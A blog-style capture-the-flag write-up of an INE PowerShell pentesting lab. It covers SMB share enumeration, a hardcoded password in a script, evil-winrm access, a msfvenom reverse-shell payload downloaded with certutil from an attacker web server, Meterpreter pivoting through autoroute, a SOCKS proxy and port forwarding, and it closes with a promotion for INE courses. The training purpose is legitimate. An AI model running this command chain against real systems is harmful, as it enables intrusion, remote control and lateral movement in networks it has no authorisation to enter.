eCPPT Powershell for Pentesters INE’s CTF 1 : A Practical Attack Story
This wasn’t just another lab. It felt like walking into a poorly guarded building, where every unloc 2026-5-2 07:47:38 Author: infosecwriteups.com(查看原文) 阅读量:11 收藏

The.Flying.Wolf

This wasn’t just another lab. It felt like walking into a poorly guarded building, where every unlocked door revealed something more dangerous than the last. Instead of rushing, I slowed down and treated every step like an investigation.

Press enter or click to view image in full size

Everything started with a simple question:

“What is this machine exposing that it shouldn’t?”

Press enter or click to view image in full size

One Entry Point

The first thing I checked was the local host mapping:

cat /etc/hosts

This revealed two systems inside the network:

┌──(root㉿INE)-[~]
└─# cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.1.0.22 INE
127.0.0.1 AttackDefense-Kali
10.10.44.3 INE
10.5.24.52 server.prod.local
10.5.31.20 web.prod.local

At this point, I made a mental note:

  • One machine is likely the entry point
  • The other is probably internal and protected

That assumption turned out to be exactly right.

Step 1 : Talking to the Server

I started with a nmap scan:

nmap server.prod.local -sV -sC -v3

Instead of blindly running commands, I always ask:

What am I trying to learn here?

This scan answers three things:

  • What ports are open
  • What services are running
  • Whether there are obvious misconfigurations

What I Found

The scan showed:

Press enter or click to view image in full size

Nmap Scan Output

Immediately, one service stood out:
SMB (port 445) → This is where many real-world breaches begin.

Step 2 : Checking SMB

Instead of brute forcing, I tried something simpler using smbclient:

Press enter or click to view image in full size

SMB Initial Enumeration (smbclient)

After discovering multiple SMB shares, I used smbmap with guest access to identify which shares allowed read or write permissions.

smbmap -H server.prod.local -u guest -p ''

This checks:

  • Can I access anything as a guest?
  • What permissions do I have?

Why This Matters

Organizations often allow:

“Read-only access is safe”

It’s not.

Read-only access is enough to:

  • Download files
  • Find credentials
  • Analyze scripts

What I Saw

Some shares were accessible with READ ONLY permissions.

Press enter or click to view image in full size

smbmap initial scan

That was my entry point.

Step 3 : Exploring Shares Like an Attacker

Now I switched to smbclient:

smbclient //server.prod.local/Utilities

This tool behaves like a remote file browser.

Get The.Flying.Wolf’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Inside, I listed files:

ls

Press enter or click to view image in full size

And then downloaded:

get flag1.txt

First Flag

e28f75f63371472280abd0fa252f871f

But something more important was hiding here.

Step 4 : The Mistake That Changed Everything

Inside the same share, I found:

get start-service.ps1

Opening it revealed:

Press enter or click to view image in full size

start-service.ps1
$username = "Jack"
$password = "J@ck_567890#"

This was the turning point.

Why This is Critical

Developers often:

  • Store credentials in scripts
  • Assume internal systems are safe

But if those scripts are exposed, attackers gain:

Instant access without exploitation

Step 5 : Turning Credentials Into Access

Now I had valid credentials.
Time to test them:

evil-winrm -i server.prod.local -u Jack -p 'J@ck_567890#'

Why Evil-WinRM?

It allows:

  • Remote PowerShell access
  • Command execution on Windows

Within seconds, I had a shell:

Press enter or click to view image in full size

Evil-Winrm Shell

Finding the Second Flag

I navigated to the root:

cd C:\
cat flag2.txt

Press enter or click to view image in full size

Second Flag

010368af98684f219d4ccbf1aded8b3d

Step 6 : Looking Inside the Network

Now I was no longer an outsider.
I was inside the system.
That changes everything.

Testing Internal Access

Invoke-WebRequest http://10.5.31.20 -UseBasicParsing

This returned a default IIS page.

Press enter or click to view image in full size

Basic Parsing

That told me:

  • The web server is running
  • It might not be secured properly

Trying Direct Access

Instead of guessing paths, I tested:

Invoke-WebRequest http://10.5.31.20/flag3.txt -UseBasicParsing

Press enter or click to view image in full size

Third Flag

26d0d9780ff241a6b8cf46ac69c78b4b

What Happened Here?

A sensitive file was:

  • Placed inside the web root
  • Accessible without authentication

This is one of the most common misconfigurations in real environments.

Step 7 : Going Beyond Access (Full Compromise)

Now I wanted control over the internal system.

Creating a Payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=4444 -f exe -o shell.exe

This generates a reverse shell.

Press enter or click to view image in full size

Developing the payload

Hosting the File

python3 -m http.server 80

Press enter or click to view image in full size

Python server

Downloading on Target

certutil -urlcache -split -f http://<KALI_IP>/shell.exe shell.exe

Press enter or click to view image in full size

Downloading payload using certutil

Why certutil?

Because it’s:

  • Built into Windows
  • Trusted
  • Often not blocked

Step 8 : Catching the Connection

On Kali:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <KALI_IP>
set LPORT 4444
run

Once executed, I received a Meterpreter session.

Press enter or click to view image in full size

Step 9 : Pivoting Into Internal Network

Now came the advanced part.

Adding Route

use post/multi/manage/autoroute
set SESSION 1
run

Press enter or click to view image in full size

msfconsle [ autoroute ]

Creating Proxy

use auxiliary/server/socks_proxy 
set SRVPORT 1080
set VERSION 4a
run

Press enter or click to view image in full size

socks proxy

Why This Matters

This allows:

Using the compromised machine as a bridge into internal systems

Step 10 : Accessing Internal Web Server

portfwd add -l 8081 -p 80 -r <target_ip>

Press enter or click to view image in full size

port forwarding

Then opened:

http://127.0.0.1:8081

Press enter or click to view image in full size

Step 11 : Final Flag

Inside the web interface.

Press enter or click to view image in full size

Press enter or click to view image in full size

I executed:

type C:\flag4.txt

Press enter or click to view image in full size

What This Lab Really Teaches

This wasn’t about tools.
It was about thinking like an attacker.

Lessons That Matter

1. SMB is Often the Weakest Link

Even read-only access can expose everything

2. Credentials Should Never Be Stored in Scripts

This alone led to full compromise

3. Internal Access is a Game Changer

Once inside, defenses drop significantly

4. Pivoting is Essential

Real networks are not flat

5. Security Failures are Rarely Single Points

They are chains of small mistakes

Final Thought

Nothing in this lab was “complex”.
There were no zero-days.
No advanced exploits.

Just:

  • Misconfigured shares
  • Exposed credentials
  • Poor access control

If you want to experience this kind of hands-on, real-world cybersecurity learning, it’s worth exploring what INE Security has to offer. Their certifications and live classes are designed to go beyond theory, helping you actually understand how attacks work, how defenses are built, and how professionals operate in real environments. Whether you’re starting out or sharpening advanced skills, the structured labs and expert-led sessions can significantly accelerate your growth. You can check out their programs here: https://get.ine.com/2ll83jmqlt3v


文章来源: https://infosecwriteups.com/ecppt-powershell-for-pentesters-ines-ctf-1-a-practical-attack-story-cdb40c55d476?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh